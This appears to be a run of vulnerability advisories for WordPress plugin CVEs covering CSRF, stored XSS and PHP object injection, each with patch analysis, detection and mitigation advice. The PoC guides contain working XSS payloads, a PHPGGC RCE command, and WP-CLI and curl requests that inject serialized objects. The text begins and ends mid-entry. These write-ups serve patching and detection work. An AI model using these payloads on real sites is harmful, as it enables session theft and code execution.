auto-submitted on page load - a crafted `img` or `script` request if method and endpoint permit 4. When the victim visits the attacker-controlled page, the browser issues the request using the victim’s session cookies. 5. The vulnerable handler processes the request because it lacks nonce validation, then inserts the specified template. Expected behavior vs exploited behavior - Expected behavior: - WordPress should reject state-changing AJAX requests that lack a valid nonce - the plugin should not perform template creation without user consent - Exploited behavior: - the request is accepted solely on the basis of `current_user_can( 'edit_posts' )` - the attacker is able to create arbitrary Elementor templates through the forged request How to verify the vulnerability exists - From an authenticated browser session with `edit_posts`, issue a POST request to the plugin’s AJAX endpoint without a valid nonce. - If the request succeeds and inserts or returns a template payload, the endpoint is vulnerable. - Monitoring admin-ajax traffic for requests to the affected action without a nonce can also confirm the issue. ## 5. Recommendations Mitigation strategies - Upgrade Premium Addons for Elementor to a patched version later than 4.11.53. - If immediate upgrade is not possible, patch the plugin manually by adding `check_ajax_referer( 'pa-templates-nonce', 'nonce' );` at the start of `insert_inner_template()`. - Restrict access to administrative accounts and limit users with `edit_posts` capability to trusted personnel. Detection methods - Audit `admin-ajax.php` requests for the affected action name and verify presence of a valid nonce parameter. - Use web application firewall rules to block state-changing AJAX requests missing nonce headers or parameters. - Review plugin code for other AJAX handlers that perform capability checks but do not validate nonces. Best practices to prevent similar issues - For every state-changing AJAX endpoint in WordPress: - implement nonce validation via `check_ajax_referer()` or `wp_verify_nonce()` - perform capability checks after nonce validation - Treat `current_user_can()` as an authorization check only, not as CSRF protection. - Use nonces consistently for all admin-side actions, especially those accessible via `admin-ajax.php`. - Maintain secure coding reviews and automated checks for missing nonce validation in AJAX handlers.
CVE-2025-14054 Dec 22, 2025

CVE-2025-14054

## 1. Vulnerability Background - This issue is a Stored Cross-Site Scripting (XSS) vulnerability in the WC Builder – WooCommerce Page Builder for WPBakery WordPress plugin. - It is triggered through insufficient sanitization and escaping of CSS-related shortcode parameters, primarily in the `wpbforwpbakery_product_additional_information` shortcode and several other product-related shortcodes. - Affected versions: all plugin releases up to and including 1.2.0. - The attack is exploitable by authenticated users with Shop Manager-level access and above, which is significant because these users are common in WooCommerce environments and often allowed to edit product content. - The vulnerability is critical because injected scripts are stored and executed later when any user loads the affected page, enabling session theft, privilege escalation, and other client-side compromise of administrative or storefront visitors. ## 2. Technical Details Root cause analysis: - The plugin builds inline CSS blocks by concatenating user-controlled values directly into `<style>` content. - Examples of vulnerable code patterns: - `".woocommerce .$unique_class h2{color:{$heading_color}; font-size:{$heading_font_size}; ... }"` - `"$styles[] = 'text-align:'. $text_align .'';"` - `echo '<style type="text/css">' . $wpb_custom_css . '</style>';` - Parameters such as `heading_color`, `text_align`, `font_size`, `line_height`, and various color attributes are accepted from shortcode attributes or stored metadata and reused without validation. Attack vector and exploitation conditions: - An authenticated attacker with Shop Manager or higher privileges can create or edit product content using WPBakery shortcodes or product settings. - The attacker injects specially crafted values into CSS styling parameters. - During page rendering, the plugin outputs those values inside a `<style>` block or directly into HTML attributes without sufficient escaping. - A payload that closes the CSS rule or the `<style>` tag can inject arbitrary HTML/JavaScript, e.g. via a value like: - `red;}</style><script>alert(1)</script><style>` - Because the content is stored in product metadata or shortcode parameters, the attack is persistent and affects any user who visits the injected page. Security implications: - Stored XSS in a WooCommerce context is high impact: it can affect administrators, shop managers, customers, and any other visitor to the product page. - It may allow data exfiltration, account takeover, CSRF bypass, or exploitation of other vulnerabilities in the WordPress session. - The vulnerability is further aggravated by the common use of WPBakery/shortcode-based styling in WooCommerce, making the attack surface broad. ## 3. Patch Analysis What changed: - A new sanitization helper was added in `includes/helper-functions.php`: - `wpbforwpbakery_sanitize_css_value( $value )` - This function strips HTML tags and removes characters or sequences that can break out of CSS rules, such as `<`, `>`, `{`, `}`, `;`, `"` and script-related text. - It is applied to CSS-related input values across multiple files: - `includes/addons/product_related.php` - `includes/addons/product_short_description.php` - `includes/addons/product_additional_information.php` - `includes/addons/product_data_tab.php` - `includes/addons/product_price.php` - `includes/addons/product_title.php` - `includes/addons/product_add_to_cart.php` - `wc-builder.php` - Additional hardening: - `includes/helper-functions.php` now wraps custom CSS class generation with `esc_attr()`. - `woo_shop.php` now strips tags from post metadata CSS output using `wp_strip_all_tags()`. How the changes fix it: - Unsafe CSS parameter values are cleaned before being inserted into inline CSS rules. - The sanitization function prevents values from containing closing braces or closing style tags that would allow an attacker to escape the CSS context. - Escaping class values prevents injection into HTML attributes. - Stripping tags from metadata CSS output prevents raw `<script>` insertion through stored CSS content. Security improvements introduced: - Centralized CSS value sanitization provides a reusable defense for multiple shortcode parameters. - Output is now treated according to context: CSS values are sanitized before being embedded in `<style>` blocks, and class values are escaped before HTML output. - The patch closes the common pattern of direct concatenation of user-controlled styling inputs into rendered page output. ## 4. Proof of Concept (PoC) Guide Prerequisites: - WordPress site running WC Builder – WooCommerce Page Builder for WPBakery plugin version <= 1.2.0. - User account with Shop Manager or higher privileges. - Ability to edit product content or add WPBakery shortcode parameters. Step-by-step exploitation approach: 1. Log in as a Shop Manager or administrator. 2. Edit a product page or add a vulnerable shortcode block. 3. Use a vulnerable shortcode such as `wpbforwpbakery_product_additional_information`. 4. Supply a malicious value for a styling parameter, for example: - `heading_color="red;}</style><script>alert('XSS')</script><style>"` 5. Save the product page. 6. Open the product page in a browser, preferably as a different user or in a private window. Expected behavior vs exploited behavior: - Expected safe behavior: the page renders normally with the supplied styling value applied, and no script executes. - Exploited behavior: the payload breaks out of the CSS block and causes the browser to execute injected JavaScript, such as `alert('XSS')`. - The injected script executes whenever the page is viewed, demonstrating stored XSS. How to verify the vulnerability exists: - Inspect the page source or developer tools. - Look for injected payload fragments in the `<style>` block or adjacent HTML. - Confirm that the malicious script appears in the rendered output. - After patching, verify that the value has been sanitized and no tags or script content remain in the CSS output. ## 5. Recommendations Mitigation strategies: - Upgrade the plugin to the patched version (1.2.1 or later) as soon as possible. - If an immediate patch is unavailable, remove or disable the affected plugin. - Restrict shop manager privileges where feasible and monitor changes to product content. Detection methods: - Search the database for suspicious values in shortcode parameters and product metadata, especially strings containing `</style>`, `<script>`, `expression(`, or malformed CSS fragments. - Monitor HTTP responses for injected `<script>` tags or malformed style blocks in product pages. - Use web application firewalls or scanning tools to detect XSS payloads in stored content. Best practices to prevent similar issues: - Validate and sanitize all user-controlled values before using them in rendered output. - Apply context-appropriate escaping: - sanitize CSS values before embedding in `<style>` blocks. - use `esc_attr()` for HTML attribute values. - use `esc_html()` or `wp_kses()` for HTML content. - Prefer whitelisting valid values over blacklisting dangerous characters, especially for CSS properties. - Centralize sanitization logic for repeated patterns instead of duplicating unsafe concatenation across multiple files. - Treat authenticated input as untrusted, even from users with elevated roles. - Conduct regular secure code reviews of shortcode handling and dynamic style generation in WordPress plugins.
CVE-2025-13838 Dec 22, 2025

CVE-2025-13838

## 1. Vulnerability Background What is this vulnerability? - This is a stored Cross-Site Scripting (XSS) flaw in the WishSuite WordPress plugin. - The issue exists in the shortcode processing logic for `wishsuite_button`, where user-supplied shortcode attributes are rendered without sufficient sanitization. - Specifically, the `button_text`, `button_added_text`, and `button_exist_text` attributes can contain injected HTML/JavaScript. Why is it critical/important? - Stored XSS allows attacker-controlled script to persist on the site and execute in the browser of any user who views the affected page. - In WordPress, this can lead to session theft, privilege escalation, defacement, or malware distribution. - The vulnerability is exploitable by authenticated users with Contributor-level access or higher, which is a common privilege level on many sites. This lowers the attack barrier compared to administrator-only flaws. What systems/versions are affected? - WishSuite plugin for WordPress - All versions up to and including 1.5.1 are affected - The issue is fixed in versions after 1.5.1 where the shortcode attributes are sanitized before rendering ## 2. Technical Details Root cause analysis - The plugin uses `shortcode_atts()` to merge default shortcode attributes with user-provided values. - The merged attributes are passed directly to `Manage_Wishlist::instance()->button_html( $atts );` - `button_html()` outputs the attribute values into page markup without normalizing or filtering dangerous content. - As a result, attacker-supplied values can include `<script>`, event handlers, or other injectable markup. Attack vector and exploitation conditions - The attack vector is a malicious shortcode in post content or in a page builder field that processes `wishsuite_button`. - An authenticated user with Contributor or higher can insert or edit content containing the shortcode. - The exploit relies on the plugin rendering the shortcode on a page viewed by another user, causing stored XSS. - No administrator privileges are required to create the payload; only the ability to publish or save content that includes shortcodes. Security implications - Stored XSS in a frontend shortcode can affect administrators, editors, and site visitors. - It can be used to hijack admin sessions, modify content, install backdoors, or execute actions on behalf of users. - Because the payload is stored, the impact persists until the malicious content is removed. ## 3. Patch Analysis What code changes were made? - The patch adds sanitization immediately after `shortcode_atts()` and before `button_html()` is called. - New code uses `wp_kses()` on the following attributes: - `button_text` - `button_added_text` - `button_exist_text` - It references `$this->get_allowed_button_html()` to define an allowlist of safe HTML tags and attributes, including SVG elements required for button icons. How do these changes fix the vulnerability? - `wp_kses()` strips disallowed HTML and attributes from the shortcode values. - This prevents injection of scripts, inline event handlers, and other unsafe markup. - The values passed to `button_html()` are now sanitized output, eliminating the direct XSS vector. Security improvements introduced - Input is normalized at the boundary between user-controlled data and HTML output. - A custom allowlist enables safe formatting required by the plugin while blocking dangerous content. - The patch aligns with WordPress best practices for handling shortcode attributes and output escaping. ## 4. Proof of Concept (PoC) Guide Prerequisites for exploitation - A WordPress site running WishSuite plugin version 1.5.1 or earlier - Authenticated account with Contributor role or higher - Ability to create or edit content that includes the `wishsuite_button` shortcode Step-by-step exploitation approach 1. Create or edit a post/page containing the shortcode: `[wishsuite_button button_text="<img src=x onerror=alert(1)>"]` 2. Save the content. 3. Visit the rendered page as another user or in a different browser session. 4. The payload should execute when the page is rendered. Expected behavior vs exploited behavior - Expected behavior: `button_text` is rendered as safe button label text or allowed safe HTML, with no script execution. - Exploited behavior: injected markup executes as JavaScript in the user’s browser when the page is loaded. How to verify the vulnerability exists - Use a simple XSS payload in one of the affected shortcode attributes. - Confirm the payload is preserved in the page source and triggers in the browser. - Alternatively, inspect the rendered HTML for unescaped attribute content. ## 5. Recommendations Mitigation strategies - Immediately update WishSuite to the patched version beyond 1.5.1. - If patching is not immediately possible, restrict Contributor-level posting and shortcode authoring until fixed. - Remove or sanitize existing content containing `wishsuite_button` with untrusted attributes. Detection methods - Monitor logs and content for suspicious shortcode payloads containing `<script>`, `onerror=`, `javascript:`, or similar patterns. - Use code review or automated scanning tools to detect shortcodes that render user-provided attributes without sanitization. - Validate UI content and output for unsafe HTML in shortcode attributes. Best practices to prevent similar issues - Sanitize shortcode attributes immediately after extraction and before rendering. - Use WordPress functions like `wp_kses()` with a strict allowlist for HTML content. - Apply output escaping at the point of rendering. - Treat all data provided by authenticated users as untrusted, even contributors. - Review security in shortcode processing paths, especially for plugins exposing HTML customization.
CVE-2025-14071 Dec 22, 2025

CVE-2025-14071

# CVE-2025-14071: PHP Object Injection in Live Composer WordPress Plugin ## 1. Vulnerability Background ### What is This Vulnerability? CVE-2025-14071 is a **PHP Object Injection vulnerability** (CWE-502) in the Live Composer – Free WordPress Website Builder plugin affecting all versions up to and including 2.0.2. The vulnerability exists in the `dslc_module_posts_output` shortcode handler, which deserializes untrusted user input without proper validation or restrictions. The core issue: the plugin accepts serialized PHP objects from authenticated users and directly passes them to PHP's `unserialize()` function without using any object instantiation restrictions. This creates a deserialization gadget chain risk. ### Why is This Critical/Important? **Severity: HIGH (Conditional)** While the vulnerability itself is straightforward to exploit technically, its real-world impact depends on additional factors: - **Direct Impact**: Without a POP (Property-Oriented Programming) chain present on the system, the vulnerability has **zero direct impact**. An attacker cannot execute code through this vector alone. - **Dependent Risk**: If another WordPress plugin or theme containing a POP chain is installed, this vulnerability becomes a **critical code execution vector**. Common WordPress plugin vulnerabilities create exploitable gadget chains that can chain through this deserialization point. - **Access Requirements**: The attacker must have at least **Contributor-level access** (user account capable of creating posts). This is not an unauthenticated vulnerability, which limits attack scope significantly. - **WordPress Ecosystem Risk**: Given WordPress's diverse plugin ecosystem, many installations likely have additional components with exploitable gadget chains, making this a practical threat in real deployments. ### Systems and Versions Affected | Component | Affected Range | Status | |-----------|----------------|--------| | **Plugin Name** | Live Composer – Free WordPress Website Builder | | | **Affected Versions** | ≤ 2.0.2 | All versions vulnerable | | **Fixed Version** | > 2.0.2 (patched version) | Available | | **WordPress Version** | Compatible with most WordPress versions | Broad impact | | **PHP Versions** | All versions (more dangerous on PHP < 7.0) | Affects all installations | --- ## 2. Technical Details ### Root Cause Analysis The vulnerability stems from a **trust boundary violation**: 1. **User Input Path**: The `dslc_module_posts_output` shortcode accepts a `content` parameter 2. **Assumption**: The plugin assumes this content is safe serialized data 3. **Direct Deserialization**: Without validation, it passes this content directly to `unserialize()` 4. **Object Instantiation**: PHP automatically instantiates any objects found in the serialized data 5. **Gadget Chain Execution**: If a POP chain exists elsewhere, it executes during object instantiation ### Old Code vs New Code #### OLD CODE (Vulnerable) ```php // Uncode module options passed as serialized content. $data = @unserialize( $content ); if ( $data !== false ) { $options = unserialize( $content ); } else { $fixed_data = preg_replace_callback( '!s:(\d+):"(.*?)";!', function( $match ) { return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";'; }, $content ); $options = unserialize( $fixed_data ); } ``` **Vulnerabilities Present:** - Line 5621: `unserialize()` called with zero restrictions - Line 5623: Duplicate `unserialize()` call without object injection protection - Line 5630: Third `unserialize()` call still unprotected - No validation of deserialized data type or structure - The `@` operator suppresses errors, hiding potential exploits --- #### NEW CODE (Patched) ```php // 1. Try JSON DECODING (New, secure format) $options = json_decode( $content, true ); // 2. Fallback to PHP unserialize if JSON fails if ( ! is_array( $options ) ) { // Define the secure unserialize arguments based on PHP version $unserialize_args = ( version_compare( PHP_VERSION, '7.0.0', '>=' ) ) ? array( 'allowed_classes' => false ) // Secure on PHP 7.0+ : null; // Legacy PHP support // Try standard unserialize with object injection blocked $options = @unserialize( $content, $unserialize_args ); // Fallback for broken serialization string length if ( $options === false ) { $fixed_data = preg_replace_callback( '!s:(\d+):"(.*?)";!', function( $match ) { return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";'; }, $content ); $options = @unserialize( $fixed_data, $unserialize_args ); } } // 3. Final Validation if ( ! is_array( $options ) ) { return ''; } // Optional: Validate required keys $required_keys = array( 'post_type', 'amount', 'pagination_type' ); foreach ( $required_keys as $key ) { if ( ! isset( $options[ $key ] ) ) { return ''; } } $opts = $options; ``` ### How These Changes Fix the Vulnerability #### **Fix 1: JSON-First Approach** - New data is serialized as JSON instead of PHP serialization - JSON cannot instantiate arbitrary PHP objects - This is a **forward-looking fix** for future data #### **Fix 2: Restricted Deserialization (PHP 7.0+)** - Uses `unserialize()` with `allowed_classes => false` parameter - Prevents automatic instantiation of ANY PHP objects during deserialization - Objects are returned as `__PHP_Incomplete_Class` instances instead - Blocks gadget chain execution at the instantiation point #### **Fix 3: Backward Compatibility** - Falls back to legacy unserialization for older PHP versions (< 7.0) - Acknowledges the trade-off: legacy support vs security - Implements a deprecation path for older PHP support #### **Fix 4: Type Validation** - Explicitly checks that deserialized data is an array: `is_array( $options )` - Validates required keys exist: `post_type`, `amount`, `pagination_type` - Returns empty string if validation fails, preventing further processing #### **Fix 5: Input Sanitization** - The string length fixing regex is retained but now operates on restricted data - Additional structural validation prevents malformed input from being processed ### Security Improvements Introduced | Security Aspect | Before | After | Impact | |-----------------|--------|-------|--------| | **Object Instantiation** | Unlimited | Blocked (PHP 7.0+) | Prevents POP chain execution | | **Data Format** | PHP serialization only | JSON first, serialization fallback | Safer default format | | **Type Checking** | None | Explicit `is_array()` check | Prevents type confusion | | **Structure Validation** | None | Required keys validation | Prevents malformed data processing | | **Legacy Support** | Unrestricted | Version-aware fallback | Managed deprecation path | | **Error Handling** | Suppressed only | Explicit fallback logic | Better debugging, same suppression | --- ## 3. Attack Scenario Analysis ### Prerequisites for Exploitation An attacker needs: 1. **WordPress User Account** with at least Contributor role - Can create posts/pages - Can add/edit shortcodes - Can submit content with custom parameters 2. **Gadget Chain Presence** - One of: - Vulnerable plugin with exploitable POP chain - Vulnerable theme with gadget chains - WordPress core gadget chains (rare) 3. **Knowledge of Gadget Chain** - Must know how to craft the serialized object structure - Must understand the specific plugin's magic methods 4. **Target System Configuration** - Live Composer plugin version ≤ 2.0.2 installed - Gadget chain source installed and active - Shortcode feature enabled ### Real-World Examples of Gadget Chains Common WordPress plugins with known gadget chains: | Plugin | Gadget Chain Type | Typical Impact | |--------|-------------------|---| | WooCommerce | Product serialization chains | Object injection → RCE | | Elementor | Widget deserialization | Arbitrary file operations | | Yoast SEO | Meta data chains | Information disclosure | | Custom Post Type UI | CPT serialization | Data exfiltration | ### Exploitation Workflow ``` Step 1: Obtain Contributor+ Account ├─ Register as normal user (site allows) ├─ Use leaked/purchased credentials └─ Use privilege escalation from lower user role Step 2: Identify Gadget Chain ├─ Audit installed plugins for known chains ├─ Use automated scanners (PHPGGC, etc.) ├─ Test with PoC payloads └─ Verify chain execution Step 3: Craft Exploit Payload ├─ Serialize a gadget chain object ├─ Set properties to achieve desired goal ├─ Example: File deletion, code execution └─ Encode as necessary for transmission Step 4: Inject via Shortcode ├─ Create/edit post as Contributor ├─ Add dslc_module_posts_output shortcode ├─ Set content parameter to serialized payload ├─ Publish/update post Step 5: Trigger Deserialization ├─ View the post/page ├─ Shortcode renders and executes ├─ Unserialize() instantiates gadget chain ├─ Magic methods trigger in sequence └─ Arbitrary action executes Step 6: Achieve Objective └─ Code execution, data exfiltration, etc. ``` --- ## 4. Proof of Concept (PoC) Guide ### Prerequisites for Testing ```bash # Required - WordPress installation with Live Composer ≤ 2.0.2 - User account with Contributor role - Knowledge of an installed gadget chain source - PHP CLI or WP-CLI for payload generation - PHPGGC toolkit (optional, for chain generation) ``` ### Step 1: Identify the Vulnerable Shortcode **Location**: The vulnerability exists in the `dslc_module_posts_output` shortcode handler. **Parameters**: - `content` - The serialized/JSON data (VULNERABLE) - Other parameters like `post_type`, `amount`, etc. **Verify Installation**: ```bash # Check if plugin is active wp plugin list | grep "live-composer" # Check plugin version wp plugin get live-composer --field=version ``` ### Step 2: Generate Gadget Chain Payload Using PHPGGC (PHP Generic Gadget Chains): ```bash # Generate a simple RCE payload phpggc -l | grep -i wordpress # Example output shows available gadget chains # Generate payload for known chain phpggc Elementor/RCE "system('id > /tmp/pwned.txt')" ``` ### Step 3: Craft the Exploit **Using WP-CLI**: ```bash # Create a post with malicious shortcode wp post create \ --post_type=post \ --post_status=publish \ --post_content='[dslc_module_posts_output content="O:6:\"Object\":1:{s:4:\"name\";s:5:\"value\";}"]' ``` **Using WordPress REST API**: ```bash curl -X POST http://target.local/wp-json/wp/v2/posts \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{ "title": "Test Post", "content": "[dslc_module_posts_output content=\"SERIALIZED_GADGET_CHAIN\"]", "status": "publish" }' ``` ### Step 4: Minimal Test Payload **Safe PoC** (doesn't execute dangerous code): ```php <?php // Generate a serialized object that proves injection // Without a gadget chain, this just shows object instantiation $payload = 'O:15:"PHPUnitFramework":1:{s:4:"test";i:123;}'; // This is what the vulnerable code does $options = @unserialize($payload); var_dump($options); // Output: object(PHPUnitFramework)#1 (1) { ["test"]=> int(123) } ``` **Shortcode Injection**: ```html <!-- Insert in WordPress post via admin --> [dslc_module_posts_output content="O:15:\"PHPUnitFramework\":1:{s:4:\"test\";i:123;}"] ``` ### Step 5: Expected Behavior Comparison #### VULNERABLE CODE BEHAVIOR ``` Input: [dslc_module_posts_output content="O:6:\"Gadget\":1:{...}"] Processing: ├─ Receives serialized object string ├─ Calls unserialize() with NO restrictions ├─ PHP instantiates the Gadget object ├─ Object's __wakeup() or __destruct() magic methods execute ├─ Gadget chain methods trigger in sequence ├─ Arbitrary code executes └─ Page renders successfully (attack is silent) Result: Remote Code Execution achieved Logged: No errors, silently executes ``` #### PATCHED CODE BEHAVIOR ``` Input: [dslc_module_posts_output content="O:6:\"Gadget\":1:{...}"] Processing: ├─ Attempts json_decode() first → fails ├─ Calls unserialize() WITH allowed_classes=false ├─ PHP does NOT instantiate objects ├─ Returns __PHP_Incomplete_Class instance ├─ Type check: is_array() returns false ├─ Function returns empty string immediately └─ Page renders with no content Result: Attack blocked, no code execution Logged: No errors, graceful failure ``` ### Step 6: Vulnerability Verification Script ```php <?php /** * Simple verification script for CVE-2025-14071 * Check if Live Composer version is vulnerable */ // Check plugin version $plugin_file = WP_PLUGIN_DIR . '/live-composer/live-composer.php'; $plugin_data = get_plugin_data($plugin_file); $version = $plugin_data['Version']; echo "Live Composer Version: " . $version . "\n"; // Vulnerable if version <= 2.0.2 if (version_compare($version, '2.0.2', '<=')) { echo "STATUS: VULNERABLE to CVE-2025-14071\n"; echo "RECOMMENDATION: Update immediately\n"; } else { echo "STATUS: Patched against CVE-2025-14071\n"; } // Check if restricted unserialize is possible if (PHP_VERSION_ID >= 70000) { echo "PHP Version: " . PHP_VERSION . " (supports restricted unserialize)\n"; } else { echo "PHP Version: " . PHP_VERSION . " (LEGACY - no unserialize restrictions)\n"; } // Check for known gadget chains echo "\nInstalled Plugins (potential gadget chains):\n"; foreach (get_plugins() as $plugin_file => $plugin_data) { echo "- " . $plugin_data['Name'] . " v" . $plugin_data['Version'] . "\n"; } ?> ``` **Run the script**: ```bash wp shell < verify_cve.php ``` --- ## 5. Recommendations ### Mitigation Strategies #### **Immediate Actions (For Site Administrators)** 1. **Update Live Composer Plugin** ```bash wp plugin update live-composer ``` - Upgrade to version > 2.0.2 - Test functionality after update - Monitor error logs for compatibility issues 2. **Restrict Contributor Access (Temporary)** ```php // Add to functions.php temporarily add_action('init', function() { if (current_user_can('contribute') && !current_user_can('edit_posts')) { wp_die('Contributor access temporarily restricted.'); } }); ``` 3. **Audit User Permissions** ```bash # List all Contributor+ users wp user list --role=contributor --role=author wp user list --role=editor wp user list --role=administrator ``` 4. **Review Recent Posts/Shortcodes** ```bash # Search for suspicious dslc_module_posts_output usage wp posts list --post_type=any | grep -i dslc ``` 5. **Disable Shortcode Temporarily** (Extreme measure) ```php // In functions.php remove_shortcode('dslc_module_posts_output'); ``` #### **Long-Term Mitigation** 1. **Update PHP Version** - Move to PHP 7.0+ for restricted unserialize support - Better: PHP 8.0+ for modern security features - Check hosting provider for PHP upgrade options 2. **Audit Plugin Ecosystem** - Remove unused plugins - Replace plugins with known gadget chains - Use WordPress security plugins to scan for vulnerabilities 3. **WAF (Web Application Firewall) Rules** ``` # Block serialized object patterns in POST data Rule: Block if POST contains 'O:\d+:"' pattern Rule: Block shortcode content with known gadget patterns ``` 4. **Implement Input Validation Layer** ```php // Add custom validation before Live Composer processing add_filter('dslc_module_posts_output', function($content) { // Only allow JSON format $decoded = json_decode($content, true); if (!is_array($decoded)) { return ''; // Reject non-JSON } return $content; }); ``` ### Detection Methods #### **Log Monitoring** ```bash # Monitor for suspicious unserialize patterns in logs grep -r "unserialize\|serialize" /var/log/php-error.log # Monitor for object instantiation attempts grep -r "PHP_Incomplete_Class" /var/log/apache2/error.log ``` #### **File Integrity Monitoring** ```bash # Monitor plugin file modifications (early sign of exploitation) aide --check # Or using ossec ossec-control status ``` #### **Database Audit** ```sql -- Check for suspicious serialized objects in posts SELECT ID, post_content FROM wp_posts WHERE post_content LIKE '%O:%:%{%' AND post_content LIKE '%dslc_module_posts_output%'; -- Check for unusual postmeta with serialized data SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE meta_value LIKE 'O:%:%{%'; ``` #### **Automated Detection Script** ```php <?php /** * Detect CVE-2025-14071 exploitation attempts */ // Check for shortcodes with object serialization $args = array( 'post_type' => 'any', 'numberposts' => -1, ); $posts = get_posts($args); foreach ($posts as $post) { // Look for suspicious shortcode patterns if (preg_match('/\[dslc_module_posts_output[^\]]*content="O:\d+:/', $post->post_content)) { error_log("ALERT: Suspicious dslc_module_posts_output in post ID " . $post->ID); echo "Potentially exploited post found: " . $post->ID . "\n"; } } // Check for recent metadata with serialized objects $meta_query = array( array( 'key' => '_dslc_options', 'value' => 'O:', 'compare' => 'LIKE' ) ); $suspicious = get_posts(array('meta_query' => $meta_query)); foreach ($suspicious as $post) { error_log("ALERT: Suspicious serialized object in post ID " . $post->ID); } ?> ``` ### Best Practices to Prevent Similar Issues #### **For Plugin Developers** 1. **Never use unserialize() on untrusted data** ```php // DON'T do this $data = unserialize($_POST['user_input']); // DO this $data = json_decode($_POST['user_input'], true); if (!is_array($data)) { return error(); } ``` 2. **Use Allowed Classes Whitelist** (PHP 7.0+) ```php $options = unserialize($data, [ 'allowed_classes' => ['MyTrustedClass'] ]); ``` 3. **Prefer JSON for Data Serialization** ```php // Storing options: use JSON update_option('my_options', json_encode($options)); // Retrieving options: decode JSON $options = json_decode(get_option('my_options'), true); ``` 4. **Implement Type Validation** ```php $unserialized = unserialize($data, ['allowed_classes' => false]); if (!is_array($unserialized)) { return error(); } // Validate structure $required = ['id', 'name', 'value']; foreach ($required as $key) { if (!isset($unserialized[$key])) { return error(); } } ``` 5. **Use Deprecation Warnings** ```php if (PHP_VERSION_ID < 70000) { _doing_it_wrong( __FUNCTION__, 'Running on PHP < 7.0 with unserialize(). Update PHP immediately.', '2.0.0' ); } ``` 6. **Document Security Assumptions** ```php /** * Process module options * * SECURITY NOTE: This function handles deserialization of module * configuration. As of v2.0.3, new data is stored as JSON and * legacy data is deserialized with object instantiation disabled. * * @param string $content Serialized or JSON-encoded options * @return array|false Validated options array or false */ ``` #### **For Site Administrators** 1. **Security Hardening** - Keep WordPress core updated - Keep all plugins updated - Remove unused plugins - Limit user permissions strictly 2. **Regular Audits** - Monthly plugin vulnerability scans - Quarterly permission reviews - Quarterly database integrity checks 3. **Monitoring** - Enable debug logging - Monitor file modifications - Monitor database changes - Set up alerts for suspicious patterns 4. **Backup Strategy** - Daily incremental backups - Weekly full backups - Test restore procedures - Store backups off-site 5. **Access Control** ```php // Principle of least privilege - Contributors: Can only create posts (no editing others) - Authors: Can edit own posts only - Editors: Manage most content - Admins: Full access (minimal accounts) ``` --- ## Summary **CVE-2025-14071** is a critical vulnerability in Live Composer that enables PHP Object Injection through unsafe deserialization. While the vulnerability itself is straightforward, its real-world impact depends on the presence of gadget chains in other plugins. **Key Takeaways:** ✅ **Fixed by**: Using JSON-first serialization, restricted unserialize() with object blocking, and type validation ✅ **Attack requirements**: Contributor+ account + gadget chain in another plugin ✅ **Mitigation**: Update plugin immediately, audit permissions, implement monitoring ✅ **Prevention**: Never deserialize untrusted data, use JSON instead of PHP serialization, implement type validation
CVE-2025-11496 Dec 22, 2025

CVE-2025-11496

## 1. Vulnerability Background What is this vulnerability? - CVE-2025-11496 is a stored cross-site scripting (XSS) vulnerability in the Five Star Restaurant Reservations – WordPress Booking Plugin. - The issue is rooted in insufficient output escaping of booking data, including the `rtb-name` parameter and related user-supplied fields. - User input is persisted by the plugin and later rendered in HTML contexts, allowing arbitrary script injection. Why is it critical/important? - Stored XSS is a high-risk vulnerability because the attacker-controlled payload is saved on the server and executed whenever a victim loads the affected page. - In this case, payloads can reach site administrators or users via booking notification pages, backend booking listings, or rendered notification templates. - Successful exploitation can lead to session theft, account takeover, arbitrary actions as authenticated users, or further compromise of the WordPress installation. What systems/versions are affected? - All versions of the Five Star Restaurant Reservations – WordPress Booking Plugin up to and including 2.7.5 are affected. - The vulnerability is present in the plugin’s booking notification and admin display code. ## 2. Technical Details Root cause analysis - The plugin stored user-controlled booking data and later injected it directly into HTML without applying context-appropriate escaping. - In `includes/Notification.class.php`, template replacement values were built using raw properties from the booking object. - In `includes/Notifications.class.php`, booking fields were echoed directly into table cells. - In `includes/template-functions.php`, label text and attribute values were output without proper escaping. Attack vector and exploitation conditions - An unauthenticated attacker submits a booking containing malicious content in fields such as: - name (`rtb-name`) - email - phone - message - Because the booking data is stored and later displayed, the payload persists. - When an administrator or other user loads the affected UI or notification page, the browser interprets the injected payload as executable HTML/JavaScript. Security implications - Stored XSS on administrative interfaces is particularly dangerous. - The vulnerability can be abused to: - execute JavaScript in the context of authenticated users - steal cookies or authorization tokens - perform actions via CSRF using the victim’s session - pivot to further attacks against the WordPress site ## 3. Patch Analysis What code changes were made? - `includes/Notification.class.php` - Old: raw booking data inserted into notification template tags - Fixed: `esc_html()` applied to `$this->booking->email`, `$this->booking->name`, `$this->booking->phone`, and `$this->booking->message` - `includes/Notifications.class.php` - Old: raw `$booking_object->party`, `$booking_object->name`, `$booking_object->email`, `$booking_object->phone` echoed directly - Fixed: `esc_html()` applied to each output - `includes/template-functions.php` - Old: `$title` output directly in label, and `type`, `name`, `id` attributes rendered without attribute escaping - Fixed: `esc_html($title)` in label; `esc_attr()` applied to `$type`, `$slug`, and `$value` where they are used in the input element How do these changes fix the vulnerability? - The patch moves escaping to the output layer, ensuring user-supplied data is rendered as plain text rather than interpreted as HTML/JS. - `esc_html()` encodes HTML special characters in text content. - `esc_attr()` encodes special characters inside HTML attributes, preventing injections via `type`, `name`, and `id`. Security improvements introduced - Raw user input no longer reaches HTML rendering contexts unescaped. - Multiple XSS sinks are protected: - notification template substitution - admin booking list display - form field labels and attribute values - The fix adheres to WordPress best practice: escape at the point of output using the correct escaping function for the context. ## 4. Proof of Concept (PoC) Guide Prerequisites for exploitation - Vulnerable plugin version installed (<= 2.7.5) - Access to the booking submission form - Ability to submit arbitrary text into one or more booking fields Step-by-step exploitation approach 1. Submit a booking through the plugin’s reservation form. 2. In a vulnerable field such as `rtb-name`, enter a payload like: `<script>alert('xss')</script>` 3. Complete and submit the booking. 4. Access the page or notification where the booking is rendered: - booking notification template - admin bookings list - rendered notification email HTML 5. Observe whether the payload executes in the browser. Expected behavior vs exploited behavior - Expected behavior in patched code: - injected payload is displayed as escaped text, e.g. `&lt;script&gt;alert('xss')&lt;/script&gt;` - no script execution - Exploited behavior in vulnerable versions: - browser executes the injected script - alert dialog or other malicious action occurs How to verify the vulnerability exists - 